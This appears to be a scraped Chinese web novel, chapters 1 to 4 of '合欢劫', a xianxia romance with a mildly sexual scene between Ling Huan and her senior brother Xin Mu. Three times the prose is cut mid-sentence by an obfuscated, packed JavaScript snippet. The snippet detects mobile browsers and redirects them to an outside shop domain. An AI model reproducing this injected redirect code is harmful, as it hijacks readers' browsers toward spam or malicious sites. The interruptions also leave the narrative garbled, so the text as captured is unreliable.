《合欢劫》 1. 合欢道 烟雾袅袅,轻纱粉帐微微晃动。 屋里相对而坐的一男一女手掌相触。 男人姿态尚且算是从容,只是眉心凝着一抹郁结之色。女人则狼狈得多,满头是汗,身子已经快要坐不直了。 “师兄……师兄……” 凌欢无意识地呢喃着,声音里带着央求:“我撑不住了……” 两人的神识正在她的灵台深处交融。 这是合欢宗的秘法,她还是头一次使用。 所谓秘法,便是在与人神交时获取对方的灵元,供自己修行。 合欢宗有规矩:新入门的弟子十八岁之前只能修行基础功法,引气入体,巩固灵脉和灵台。 过了十八岁,则由师尊为其挑选合适的辅修对象,来完成首次实练。 这辅修对象的挑选极为讲究。 修为太高,灵元难触。修为太低,又学不到要领,需根据弟子的神魂天赋慎之又慎地挑选。 辛暮就是凌欢的辅修对象。 他的任务就是让凌欢拿他练手,实战获取他的灵元。 和其他师姐师妹们不同,凌欢这已经是第二次实练了。 她脑子本就比旁人笨一些,即使有辛暮这样强的修士为她做辅修,也极为吃力。 此刻她的识海里翻江倒海。 辛暮的修为比她强太多,她的灵台又是勉强半开的状态,辛暮稍微调动些灵力她都受不住,总觉得灵台摇摇欲坠,快要碎掉了。 两人手掌间光芒乍现,似乎到了紧要关头。 辛暮焦急开口:“欢儿,就是现在,用秘术获取灵元!” 然而少女痛苦地仰起头,神识在灵台中尖叫,脑子里一片花白,根本顾不上什么秘术不秘术的。 修士的灵元只在特定时刻会随着灵力流暴露出来。 抓住这个时机,用秘术将其剥离,为己所用,就是今日凌欢需要做到的。 又过了片刻,辛暮收了功,少女随之软软倒入他的怀中,虚弱但面带愧色。 “师兄……对不起,我刚才……” “没事。” 辛暮给她掐了个清洁咒,将汗津津的衣服收拾清爽。 “第一次总归是有些难的。师兄相信欢儿,下次一定能成功。” 话是这么说,其实他私心里也没有很希望凌欢能很快掌握诀窍。 因为她成功后,就要下山历练,再寻合适的道侣。 屋里安静下来。 凌欢浑身都没有力气,软绵绵地被辛暮揽在怀里。 她仰起头,盯着男人轮廓分明的下颌,不知为何觉得心中闷闷的。 总觉得这个时候应该说些什么,却又不知道该怎样开口。 感受到少女的视线,辛暮低下头:“我脸上有东西吗?” 凌欢摇摇头,眨巴着眼睛看他。 “师兄是给每个师姐师妹辅修的时候,都这么温柔有耐心吗?” 辛暮脸上闪过一丝诧异:“我何时帮其他人辅修过?” 凌欢张了张嘴,暗道自己真是脑瓜傻了。 辛暮是师尊的儿子。 虽然身在合欢宗,但他师承南华散人,不修合欢道。 给弟子做神交辅修,说白了就是牺牲自己的修为给人当炉鼎。师尊疯了才会让自己的儿子去给新弟子做辅修…… 不对。 凌欢忽然从辛暮怀中挣脱出来,不可思议地瞪着他。 “师兄,为何你会成为我的辅修?” 师兄天赋极高,不过小百岁就已经入了太清四重之境,是修仙界中不可多得的人才。 而她只是平平无奇的小弟子,没什么天赋,脑子还有些不好使。 让师兄当她的辅修……她真的能采集到灵元吗? 莫不是故意难为她? 看着少女的脸色变了又变,辛暮痛苦地按住了眉心。 是啊,他好歹是掌门之子,修仙界新秀。给新弟子做辅修,除了他主动提出,还能是为什么? 这丫头真的是…… 算了,她情况特殊,他除了受着还能怎么样呢。 等凌欢缓过力气,站起身来活动已经酸麻了的腿脚时,一个女子从门外施施然踏进来。 女人着一袭绯色薄衫,腰束锦带,裙摆曳地。发髻斜坠一支金步摇,眉目间自带三分媚意,唇瓣丰润,眼角微挑,正是合欢宗主藏月,也就是凌欢的师尊。 她瞧了凌欢一眼,语气微诧:“怎的还是太初一境?” 又看向辛暮:“又失败了?” 按理说,以辛暮的修为,凌欢只要获取了他的灵元,修为至少能上升两个境界,达到太初三境。 辛暮抿了抿唇,替凌欢开解:“是我有些急于求成了,没有顾忌到欢儿修为低,受不住我的灵力,是我的错。” 凌欢不解地看向师兄。 这话说得不对,他哪里是急于求成?他根本就是不愿勉强。 一开始她太紧张害怕,又缺乏安全感,怎么都不肯放开灵台。 以辛暮的修为,是完全可以强行闯入的,只是过程可能会痛苦一些。 但辛暮不愿。 就连今日,辛暮都险些半途而废。 还是她觉得不能再没有进展,主动了些。 ……虽然结果还是失败了,但最起码比上一次要进步很多。 “唉……罢了,慢慢来,不急于一时。” 藏月摸了摸凌欢的脑袋,语气宠溺。 凌欢是十年前她亲自带回宗门的。 当时虽然看着脏脏的、怯怯的,但依旧难掩美人坯子的潜质。 如今十年过去,少女果然出落得明艳。 杏眸如水,轻轻一眨便漾出几分不自知的娇媚,浑然不觉自己的模样有多动人。 再加上她少了一缕情魄,看起来有些呆,配上这样的容貌便更能引起旁人的怜爱。 曾经辛暮还问过她,少了一缕情魄的人,如何修合欢道?合该去修无情道才是。 藏月虚虚一点儿子的脑袋,嗔道:“你当他们无情道是因为无情才去修的吗?他们正是因为太重情,情之一字反而会成为他们的软肋,所以干脆封闭自己,将一切可能产生情愫的因素隔绝。” 说白了,就是自己意识到什么能伤自己最深,从而自根源杜绝。 但合欢道就不同了。 以情渡劫,大道合欢。 在同一个人身上获取的灵元效用会逐渐递减。 所以当一个人的灵元无法再让自己的修为精进时,她们就要果断更换道侣。 若是钟情一人,那修为就要停步于此了。 以往许多合欢道的大能都因为情之一字而放弃修为,最终落得凄惨下场——或是容颜老去道侣变心,或是因为修为的掣肘闹得一地鸡毛,爱侣变怨偶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590907|205456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后是赔了夫人又折兵,修为和爱人一样都落不着。 藏月活了五百多年,看多了这样的事,也为无数合欢宗好苗子可惜过。 故而在看到缺了情魄的凌欢时,她几乎是毫不犹豫地将其收入自己座下,作为下一任宗主培养。 凡事有利就有弊,三魂七魄少了一缕,自然是比不得正常人聪颖。 就拿这秘术实练来说,几乎是把饭喂到嘴边了,她都吃不下。 但……说不定也能因此得到不一样的造化。 凌欢知道自己天资愚笨,在师尊面前更是无颜面对,捏着衣角不知所措。 藏月笑笑,牵起她的手,带着她去往庭院。 “欢儿可还记得师尊说过的,如何挑选修炼对象?” 这个凌欢早已烂熟于心,赶紧答:“比自己低三境以上之人,可强行侵入灵台夺取灵元,但对其神识有损,且获取到的灵元效果不佳。” “与自己修为齐平之人,可与之结为道侣,神交时助其巩固灵脉,作为采撷灵元的交换。” “若遇修为远高于自身境界之人,需得到对方全身心信任,主动将灵台袒露,且自愿献出灵元。” 辛暮对于她来说,就是这个“修为远高于自身境界之人”。 若是辛暮不愿意让她获取灵元,那她就算是使出浑身解数,也不可能取到的。 不仅取不到,反而会因为神交时自己也袒露了灵台,遭到对方的毁灭性打击。 这就是修士的境界压制。 所以想要取高阶修士的灵元,需得谨慎再谨慎。 “好,欢儿很聪明。”藏月拍了拍小徒弟的手背。 “可是师尊,师兄的灵力太霸道了。只要一进入我的灵台,我的神识就完全不听使唤……他稍微一动,我的灵台就不稳,我根本顾及不上用秘术。” 藏月失笑:“每个人的灵力流转方式都有所不同。欢儿不熟悉辛暮的灵力,想要与之抵抗是要费些力的。” 跟在两人身后的辛暮张了张嘴,似乎想说什么,却又没说出口。 不过即使他不说,藏月也要说。 “欢儿,熟悉一个人灵力流转方式的最佳途径,就是与他一起修炼,一起生活。” “一起修炼,一起生活?”凌欢歪头,眨了眨眼。“这不就是道侣吗?” “是。” 藏月收了笑意,语气难得带了些正式。 “所以欢儿,你是想和辛暮结为道侣一同修炼,还是自行寻找更合心意的道侣,更换辅修对象?” 辛暮虽然没说话,但紧绷着的后背和握成拳的双手已经暴露了他此时的心境。 他在紧张,在期待。 他不知道自己对欢儿的兄妹情是什么时候变的质。他只知道,在意识到这件事的时候,就已经无法自拔了。 他知晓欢儿没有情魄,在欢儿眼里,他和其他师兄都是一样的。 本来已经说服了自己,哪怕是远远地看着她、守着她,只要她一世安稳便好。 但她总有要选辅修对象的一天。 真到了这一天,他还是忍不住站出来,自荐为她的修行引路。 这一刻,凌欢在考虑和他结为道侣。 心中那名为“贪念”的小人已经开始了蠢蠢欲动。 既然在欢儿眼里,他和其他师兄都一样。 那欢儿的道侣,为何不能是他。 2. 和师兄成为道侣 凌欢到底还是选了辛暮做道侣。 原因无他,辛师兄陪着她长大,知根知底,又温柔体贴。 最重要的是,辛师兄生得好看。 作为合欢宗宗主,藏月的容貌已经是修仙界绝色。她的儿子,自然不会差到哪去。 宗门内的师姐师妹们还列过一个“修仙界美男排行榜”,辛暮的名字始终挂在前十内,非常稳定。 合欢宗的女修见过的男人数不胜数,她们排出来的排行榜可信度极高,一时之间在修仙界广为流传。 凌欢看着眼前男人的脸,不由得对同门的眼光表示肯定。 辛暮虽自小在女人窝里长大,但他身份在那摆着,是自己独立居住于一峰的。 他又不修合欢道,无法指导师妹们修行,故而虽然占着大师兄的名头,却极少出现在众人的视线中。 凌欢刚被捡回来时不过八岁。那时的藏月正焦头烂额地忙着解决长老入魔的事,没有时间教她。 故而凌欢有两年时间是在辛暮的梧桐峰生活的。 那时候的她因为营养不良,瘦得皮包骨。八岁的身量看着只有六岁的样子,胳膊细得像柴火棍,一张小脸上就剩一双眼睛显得格外大,偏偏那眼神还总是呆呆的,不怎么说话,饿了就咬着嘴唇看人,看得人心头发软。 辛暮只能扛起奶孩子的重任,笨手笨脚地给她做饭梳头。 他早已辟谷,别说做饭了,连上次吃饭都记不得是多少年前了。让他做饭,简直是在难为他。 炸了三次厨房,浪费了十八筐食材,差点把凌欢毒死,才算是勉强做得像点样子。 还有那乱糟糟的头发,睡起来就像个狮子狗一样。 辛暮只会束男式发髻,从来没碰过小女孩的头发。 每次给她梳头,都只能理顺了绑左右两个小狗尾巴。 好在凌欢一张小脸生得可爱,这么一扎倒也灵巧可人。 后来藏月终于忙完了手头的事,辛暮也习惯了如何照顾小姑娘。 凌欢虽然跟着藏月去了主峰修炼居住,但也时常会跑到梧桐峰找师兄给自己做饭吃。 她最喜欢吃的就是辛暮做的八宝芙蓉鸭。 今日的餐桌上除了八宝芙蓉鸭,还有清炒玉笋、蜜渍金瓜和脆皮嫩子鸡。 全都是凌欢平日里嚷嚷想吃频率最高的。 凌欢拿起筷子,仰头甜甜一笑:“谢谢师兄。” 辛暮给她夹了一只鸭腿,看着面前少女靥足的面庞,满眼宠溺。 他到现在还觉得有些不太真实。 他和欢儿竟然真的成为了道侣。 先前他总是觉得,欢儿还是个孩子,对待她也是如亲生妹妹一般宠爱照顾。 这份感情是什么时候开始悄然发生变化的? 仔细想想,似乎是在她十六岁生辰那天。 少女在满天的烟火下合拢手心许愿,她的声音很小,却瞒不过修士的灵识。 他听到她说:“愿往后的每一个生辰,都能和师兄在一起,朝朝暮暮。” 烟花于夜空炸开,灿烂的火光下,少女的脸庞被映得明亮。那双杏眼亮晶晶的,像装了整片星河进去。 她浑然不觉有人在看她,只是殷切地盯着天空,生怕稍微不虔诚一点,愿望就没法实现了似的。 那一刻,辛暮觉得自己的心跳声大过了烟花的轰鸣。 八大宗门内皆设有良缘司,结为道侣的修士在此处登记入簿,便算是成了姻缘。 今日藏月一提,凌欢就主动拉着他去了良缘司,将二人的名字一笔一划写入姻缘册。 然后他就搬到了主峰凌欢的洞府。 接下来的很长一段时间,他们都要同吃同住同修。 欢儿脸皮薄,容易害羞又极缺安全感。在她自己的地盘,于她来说会更放松一些。 吃过晚饭,辛暮带着凌欢运转心法,巩固灵台。 凌欢现在不过太初一境,修炼压力比辛暮小很多。 将灵力运转两个小周天后,她就拿了澡巾去她的专属浴房泡澡。 按常理来说,修士清洁自身只需要掐一个清洁咒即可。 但凌欢不喜欢那样,她总觉得洗不干净。 而且泡澡多舒服啊,在热水里躺一会儿,整个人都通透了,简直是享受。 藏月对这个唯一的徒儿很是溺爱,见她喜欢泡澡,就给她的洞府里建造了个温泉型的浴池,用阵法引了山上的温泉水,十二时辰不间断地潺潺流动着。 凌欢进入浴房,三两下除了身上的外衣。她坐到浴池边,脱了小衣随手往外一扔,就慢慢滑进水里。 合欢宗所在的凤鸣山地理位置优越,灵气充沛。从山上引来的温泉水里裹着丝丝缕缕的灵气,水温也是正好。 人泡进去,那些灵气就顺着张开的毛孔往里钻,温温热热的,整个人都酥了半边。 凌欢在水里待了一会儿,舒服得直叹气。 她用手拨了拨水面,看那温泉水从入水口缓缓流进来,又从出水口淌出去,带起一圈一圈的涟漪。 她低头看了看水下的身子,水面晃悠悠的,玲珑的曲线也跟着晃。 她又伸手去够水面上飘着的花瓣,捏了一片贴在胳膊上,再一吹,花瓣打着旋儿落进水里,玩得不亦乐乎。 辛暮在外间闭目打坐修炼。他的修为比凌欢高,凌欢又完全不知道设防。即使隔着一道墙,水花起落的声音也尽数落于耳中。 他闭着眼,结果听识却更加灵敏。每次细微的响动都能使脑海里莫名的出现画面。 水珠顺着玉白细腻的肌肤滚下,发丝划过涟漪,双手鞠起一捧水,再从指尖滑落,身姿灵巧地钻入水中像一尾鱼…… 合欢宗每个人的洞府都有隔绝神识的结界,但只设置在整个洞府的外围。 今日他在结界内。 气息渐渐开始紊乱,他努力地控制自己不要过多关注那边的动静。 可越是想控制,越是心乱如麻。 灵力一发不可收拾地往不该去的地方跑,引他不得不调整坐姿,不敢低头。 眼看这样下去实在不成体统,他只好先收了功,擦去额头的汗,准备出去走走。 谁知刚踉跄着站起身,就见少女从浴室里出来。 她头发还是湿漉漉的,披在背后,两缕不听话的发丝弯弯绕绕地粘在脖颈处。 松散的中衣下,依稀可见小衣没系好的系带,松松垮垮地垂在外面。 “师兄。” 少女朝他跑过来,湿漉漉的脚印在石板上一深一浅,留下几个逐渐变淡的水痕。 眼看凌欢已经到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590908|205456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟前,辛暮的眼神慌乱一瞬,一时不知道该往哪放。 凌欢拉着他的袖子晃了晃:“师兄我洗好了,你要去洗一洗吗?我的浴池可舒服了,你还没试过吧?” “欢儿……” 辛暮声音发紧,说话也难得结巴起来。 “我……我用清洁咒即可。你……你日后,不要随意邀请男子用你的浴室……” “啊?哦。”凌欢挠挠头,有些尴尬:“我忘了师兄修为高,不必用此方法沐浴。” 辛暮缓和心态,目光落在凌欢还在滴水的发丝上,不由得皱起眉。 脑子还没反应过来,手就已经伸过去替她撩起湿发:“怎么把衣裳都弄湿了?” 凌欢低头瞧了一眼,正常道:“等会擦一擦就好了。” 虽说很多修士都是用术法来迅速风干,但她修为低灵力稀缺,能省一点是一点。 辛暮叹了口气,无奈引她到榻边坐下:“我来吧。” 凌欢乖乖坐好,还不忘侧些身子,好让辛暮方便下手。 男人骨节分明的手指穿过发丝,指尖灵力流转,所到之处的水汽都在以肉眼可见的速度蒸发。 一缕缕水雾从发梢升起,很快消散在空中。 头发被这么弄着,头皮温温热热的,像有人在一下一下地揉按,舒服得不行。 凌欢不由得打了个哈欠,眼皮也开始打架。身子一歪,就往身后的辛暮身上靠过去。 少女的后背贴上来的那一刻,辛暮整个人僵了一瞬,不禁发出一声低低的闷哼。 凌欢却一个激灵迅速转头。 “师兄你是不是藏东西了?” 辛暮耳根烧起来,迅速道:“没有。” “不可能!我都感觉到了,你肯定藏了……” 凌欢说着,就要伸手去掀男人的衣袍。 “好了,别乱动。”辛暮一把捉住少女不安分的手,生硬地转移话题:“没什么东西……对了,如今我们已经是道侣,欢儿也该改口了。” “哦,好像叫师兄是不太好……”凌欢果然被新话题吸引了注意力,仰着头想了想。 “那我应该叫什么?” 以前师姐们带回来的道侣有很多,她听着都是“宝儿”“卿卿”一类的称呼。 但是让她这么叫师兄……她不太张得开嘴,总觉得不太妥当。 辛暮给她递台阶:“欢儿叫我的名字就好。” 凌欢连连摇头,再怎么说师兄都是师兄,直呼大名实在是有失尊重。 纠结半晌,她试探着轻轻唤了句:“阿暮?” 声音很轻,带着点气音,尾音微微上扬,软软地落在男人耳朵里。 帮她捋顺头发的手瞬间僵住。 少女的一声轻唤,瞬间崩断了他脑海里最后一根弦。 似乎有什么东西达到了临界,叫嚣着快要炸裂开。 他的呼吸变得又急又重,脖颈上的青筋微微凸起。 他甚至感觉自己的耳廓烫得能煎鸡蛋。 辛暮狼狈地后退一步,低下头,匆匆说了句:“我……还有些事,先回梧桐峰一趟。” 说罢,片刻不敢停地化为一道流光,御风朝着梧桐峰方向疾驰而去。 房间里,凌欢摸了摸已经快要干透了的头发,歪着脑袋,一脸莫名。 3. 师兄教你 对于让自家儿子和凌欢结为道侣这件事,藏月一直有所忧虑,不知对她们来说究竟是好是坏。 凌欢没有情魄,而辛暮对她的心思又是昭然若揭。 人都是有贪性的,若是一直没有得到或许还好,但若是得到了一些,总会忍不住想要求得更多。 但当她知道第一天晚上落荒而逃的是辛暮,意外中又有点释然。 他明白自己在做什么,也知道凌欢未来是要继任宗主之位的。即使不舍,理智尚在,该放手时自然会放手。 再回到凌欢的洞府时,辛暮已经重新调整好状态,仿佛昨晚的事没有发生过。 他不提,凌欢也忘了这一茬。 吃过午饭,凌欢又摩拳擦掌的想要再试试采撷灵元。 看着少女跃跃欲试的样子,辛暮只觉得有点无奈。 又菜又爱玩说的就是他这个宝贝师妹。 前两次失败的例子,就是凌欢大咧咧的说自己绝对没问题,结果灵台怎么都无法开放,他的灵力刚一触过去,她就本能的筑起壁垒。 ……这确实是不太受她控制的,每个人接受程度不同,神交说白了就是放开自己的全部防备,让彼此入侵最薄弱的地方,对信任度和安全度考验极高。 往年合欢宗也有许多无法放开灵台的,这也就是辅助对象存在的意义,让她们有个适应的过程。 心里虽然是这么想的,但辛暮对师妹向来有求必应,她说想再试试,就会陪着她再试试。 掌心相触,辛暮的灵力一上来就遇到了阻碍。 她的灵脉还没有开放。 对面凌欢有点尴尬:“师兄……不对阿暮,我马上……” 凌欢调整状态,集中注意力在两人灵力交汇之处,努力放松警戒,让男人的灵力能够顺着灵脉进来。 辛暮那边的灵脉倒是已经开放,灵力交融时,他控制着力道慢慢进入凌欢的灵脉,与此同时来自于凌欢的灵力也如一股涓涓细流,慢慢攀上他的灵脉。 第一步两人的灵脉连通算是比较顺利的完成了。 辛暮没有急着下一步,他只用了一成的灵力,在凌欢的灵脉中游走抚平,让她尽可能多的熟悉自己的灵力运转方式。 灵力到了灵台前,不出所料果然紧闭着。 凌欢神情凝重,身体已经开始微微颤抖。 灵台是修士的修行之源,稍微受一点损伤都是毁灭性打击,她目前还做不到将灵台敞开。 虽然脑子里一遍又一遍的告诉自己师兄绝对不会伤害自己,但身体的本能还是没办法克服。 辛暮只是试探性的探了一下,她就痛苦的闷哼出声。 辛暮叹了口气,收功调息。 凌欢感觉到他的灵力撤去,想挽留又不知道说什么,干脆低着头,不敢看对面的男人。 心中暗暗自责,自己怎么能这个样子,明明面对的是最敬爱的师兄,却不能全身心的信任? 她犹豫良久,干脆一咬牙:“师兄,你下次直接闯吧。” 以辛暮的修为,强行硬闯她的灵台是完全可以做到的。 以前有师姐也是本能的放不开灵台,听说就是抱着不破不立的想法,找了比自己高三境的辅修对象,让其强行破开灵台之门,逼自己强行适应来自外部的神识。 方法立竿见影,但就是过程十分痛苦。 而且对神识或多或少有损伤,恢复还得一阵子。但她们是修士,只要时间灵力充足,都是能养好的。 对于急于求成的修士来说,这是个以代价换成果的法子,得失须得自己掂量。 辛暮又好气又好笑的敲她脑袋:“你这小脑瓜整天都在想什么?” “那我这不是也着急嘛……”凌欢抱着脑袋委屈巴巴的控诉。 “你急什么?”辛暮认真起来,摊开手给她算账。 “母亲没有对你的修行进度有什么要求吧,急于求成做什么?” 藏月虽然说修为已经临近瓶颈,但最起码还有三四百年的寿命。三四百年,有宗门顶级资源辅助,凌欢就是个乌龟也足够爬到太臻境了。 凌欢懊恼的垂下头,是,师尊是并未催促过她不假,但是她也不能因为师尊不催她就放纵自己吧? 这不就是不思进取不知感恩吗? 况且师兄都为了她秘术入门的事和她做了道侣了,牺牲这么大,她要是再不上劲,她自己都得抽自己两巴掌。 “师兄的时间也是时间,我不想让师兄牺牲自己的时间来无底线的帮助我。”凌欢的声音蔫巴巴的,听着让人心疼。 辛暮万万没想到她竟然是抱着这样的想法,心中又是恼怒,又是自责。 恼怒是她竟然会觉得帮助她是在耽搁自己,这就是彻底把他这个师兄当成个外人。 自责则是在反问自己,这两年是不是因为自己的修行而疏忽了欢儿,让欢儿觉得在他心里修行比欢儿重要。 辛暮的脸色变了又变,最终只化为一声无奈的叹息。 “……罢了,来日方长。” 他相信时间久了,欢儿会完全接纳他,把他当成自己的一部分,不再分你我。 晚上他很自然的从随身储物袋中拿出被褥,在地上打了个铺盖。然后在自己四周下了个隔绝神识的结界,盘膝打坐。 凌欢沐浴完出来,见辛暮坐在地上,好奇的走过去。 “师兄,你怎么不去床上?” 她记得师姐们说过,道侣是要在一起睡觉的。 看师兄这架势,是打算睡地上? 那可不行!今日她采撷灵元就又失败了,进展愁人。和师兄结为道侣不就是为了更加深入熟悉对方,好放松戒备放开灵台吗? 眼看辛暮闭着眼不理她,凌欢有些急了,难道师兄是生气了,气她蠢笨浪费他的时间了? 此时的辛暮还真不知道自己为了不再复现昨日的狼狈的一个小举动造成了多大的误会。 他现在是完全隔绝五识的状态,根本不知道凌欢已经到了他跟前,也听不到她在说什么。 等他结束了这一轮的调息,睁开眼,被眼前的情形吓了一跳。 “欢儿?你怎么哭了?” 少女两眼通红,正跪坐在他面前哭得肩膀一颤一颤的,口中还在絮絮叨叨的说着什么“我下次一定可以”“要不我们明日就去解除道侣身份”。 他就打坐了一小会儿,怎么已经到了要马上解除道侣身份的地步了? 辛暮一下子慌张起来,下意识的把少女揽入怀中,轻轻拍着她的后背:“欢儿别哭……师兄刚才入定了,没有察觉到你,是师兄不好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590909|205456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 凌欢哭得更厉害了,呜哇呜哇的也说不清什么。 辛暮听了半天,才大抵明白,她说的是“你都不肯和我一起睡觉”。 辛暮:…… 他现在有些后悔了。 先前因为凌欢没有情魄,所以藏月并没有安排让她接触过阴阳之术。 他当时就应该反对的。 现在弄得他进退艰难,解释都没法开口。 怀中的温热还带着些水气,隔着薄薄的衣衫传过来,气息又开始不受控制了。 辛暮强压着不听话的灵力,把凌欢的头发弄干,然后扶她一起躺在他的地铺上。 “欢儿想知道为什么?” 凌欢抽咽一下,点点头。 辛暮内心交战片刻,最终还是拉住凌欢的手,为她解惑。 凌欢慢慢地睁大了眼睛,眼神充满疑惑。 “你昨日不是问,师兄……藏了什么东西?” 这种话辛暮说出来也觉得很是羞耻,但他努力着不让少女看出端倪。 “今日师兄教你,它是怎么个……源法。” 凌欢还没来得及自己感触,就见男人那张绝美的脸在视野中骤然放大。 她的唇被堵住了。 手心有凹凸感来回辗转,凌欢僵硬一瞬,脑子里有片刻的空白。 看着眼前少女呆愣愣的样子,辛暮逸出一丝笑意,没有急着攻城略地,而是在她唇上轻轻啄着。 过了不知多久,男人发出一声沉重的喘息。凌欢刚想要看看自己手心的黏腻,清洁咒的灵力一闪,就什么都没了。 是辛暮过于羞愧,手比脑子快,抢先一步收拾了。 收拾完就开始后悔,说好了教她的,教了一半算什么? 他抿了抿唇,将少女揽得更紧了些,将自己的下巴搁在她颈窝,这样就不会被她看到脸上不堪的神态。 “欢儿……会反感刚才的动作吗?” “为什么会反感?”凌欢微微一歪头,鬓角的发丝扫过男人的脸,“我觉得很有趣。” 辛暮眸光微微一亮,扶着她的肩膀半支起身子,试探着问:“那……师兄再教你一点别的?” “好呀。” 辛暮喉结滑动,吞了吞唾沫。他动了动,侧着身子,让少女枕在他左臂上。 右手穿过少女右膝窝,将人往上拢了拢。 “欢儿,看着我。” 男人目光深邃,里面带着凌欢从来没见过的意味。 有小心,有忐忑,有在尝试陌生领域的紧张和兴奋。 凌欢随着他的动作伸手勾住他的脖颈。 唇再次被堵住,这次,男人不再浅尝辄止,舌尖轻巧的撬开牙关,向内探索。 凌欢被突如其来的变数打晕了片刻,很快就反应过来,开始生涩的回应。 来自少女的回应带着极大的信心和肯定,辛暮终于知晓她并不会抵触自己,巨大的喜悦翻涌而上,随着手上动作,进一步加深了这个吻。 凌欢现在恨不得把自己的神识劈成两半,用来感触上下两处奇异的感觉。 似乎有水声汩汩。 浑浑噩噩中,灵台光芒乍现。 她死死攀住男人的后背,等男人终于放过她的唇,她一侧脸,就咬在他颈窝。 4. 我不想修合欢道了 第二日两人刚在洞府里用过午饭,藏月的传讯符就到了。 凌欢的洞府就在主峰,距离紫薇殿很近,两人赶过去也不过半刻钟的时间。 “师尊,出什么事了?” 凌欢一踏进殿门,就看见藏月手中那道传音符化作流光消散。 藏月转身看向二人,神情严肃。 “四长老方才传讯过来,上午司南堂接到了两个外门弟子的求救讯息,说她们在白溪村遭遇了怪事,话音未落便断了联系。” “直接断开联系?”辛暮皱眉。 要知道合欢宗的每个弟子都随身带着一枚弟子令,从外形上看是一朵雕刻精美的合欢花琉璃坠。只要这令牌在身,司南堂就能感应到弟子所处方位。 若是遇险,便可用弟子令求救,司南堂会第一时间派人去救人。 在求救的过程中突然断开联系,只有一种可能,那就是弟子令脱身了。 “这是她们最后留下的方位信息,辛暮,你走一趟去看看。” 其实方才她和四长老已经设阵感应过那边的情况,并未发现大规模的魔气暴动,也没有发现厉害的妖兽踪迹。 最有可能的是弟子遇到了突发情况,比如陷入了阵法。 这种情况放在平常是没必要让辛暮亲自去的。 但现在不一样。 藏月的目光又移到一旁的凌欢身上:“欢儿也一起去吧,并肩作战是熟悉对方灵力最快的方式。” 凌欢连忙点头,心中却有些忐忑。 她自从入了合欢宗,几乎没有踏出过山门。 这次前方还有未明的敌情,说不紧张是假的。 辛暮看着身旁人的脸色,不由得放软了声音。 “放心,有师兄在,不会有事。” 两人走出殿门,辛暮揽住凌欢的腰,御风而起。她们的身形化作一道淡青色的流光,掠出凤鸣山,朝着目标的方位疾驰而去。 白溪村距凤鸣山不过三百里,是个不大不小的村落。 早些年间还算热闹,因为村子西头有条白溪,溪水清甜,灵气充沛,偶有散修路过也会在此歇脚。后来不知怎的渐渐冷清了些,但总归还是有人在的。 二人一路东行,穿过重重云雾,约莫一刻钟后,白溪村的轮廓便出现在脚下。 凌欢被辛暮揽着腰站在云端,向下一望,不由怔住了。 按理说,这个时辰正是午后最热闹的时候,村中该有炊烟袅袅,人影往来。 可眼下的白溪村却安静得不像话,没有一丝烟火气。 “师兄……”凌欢下意识牵住了辛暮的衣袖。 辛暮带着她落下,眉头已经拧了起来。 他召出长剑断虹持在右手,左手牵住凌欢,两人一前一后缓步走入村口。 一进入村子,那古怪的寂静便愈发深重。 这里没有任何打斗的痕迹。 村口的一棵老槐树下躺着个人,姿态十分安详,像是走累了往地上随便一倒便睡着了。 凌欢小心翼翼地凑近看了一眼,那个村民衣衫完好,面色如常,胸口平稳起伏,脸上甚至还带着淡淡的笑意,呼吸均匀。 她试着喊了两声,对方全无反应。 辛暮探了探对方的脉搏,摇头道:“没有内伤,看起来就是睡着了。” 两人继续往里走,诡异的情形越来越多。 路边的井沿上趴着两个大婶,整个身子都快要掉进去了似的,竟然还在呼呼大睡。 凌欢跑过去把她们拽上来,让她们躺在个安全的地方。 转头一看,身后几个小孩横七竖八地躺着,手里还攥着竹蜻蜓和糖葫芦。 她们走了大半个村子,一个能说话的人都没见到。 凌欢越看心里越慌,却不愿在师兄面前露怯,暗暗咬紧了后槽牙,强迫自己不要抖。 辛暮的手始终没有松开过,他感觉到少女手心一直在出汗,将手指微微收紧,用指腹摩挲了一下她的手背。 “欢儿,跟着我,不要走远。” 凌欢重重地点了点头。 两人并肩在村子里搜寻,走了约莫两炷香的工夫,终于找到了发求救讯息的两个弟子。 她们躺在一间民宅外,一个正在门槛处,一个看起来像是跑了两步才倒下。 她们的弟子令掉在不远处的地方,看轨迹是倒下后脱手的。 身上没有任何外伤,面色也与那些村民一样,平静安详。 两人蹲在她们身边查探,凌欢修为低看不出什么,辛暮却能看到这两名弟子的眉心郁结着一团极小的紫气。 这是…… 辛暮心头闪过一个猜测,他抬头看看四周,又有些不确定。 正在此时,一团紫色的烟雾不知从何处而起,滚滚朝着两人卷来。 那烟雾移动的速度极快,几乎是瞬间之内就到了眼前,将二人包裹在其中。 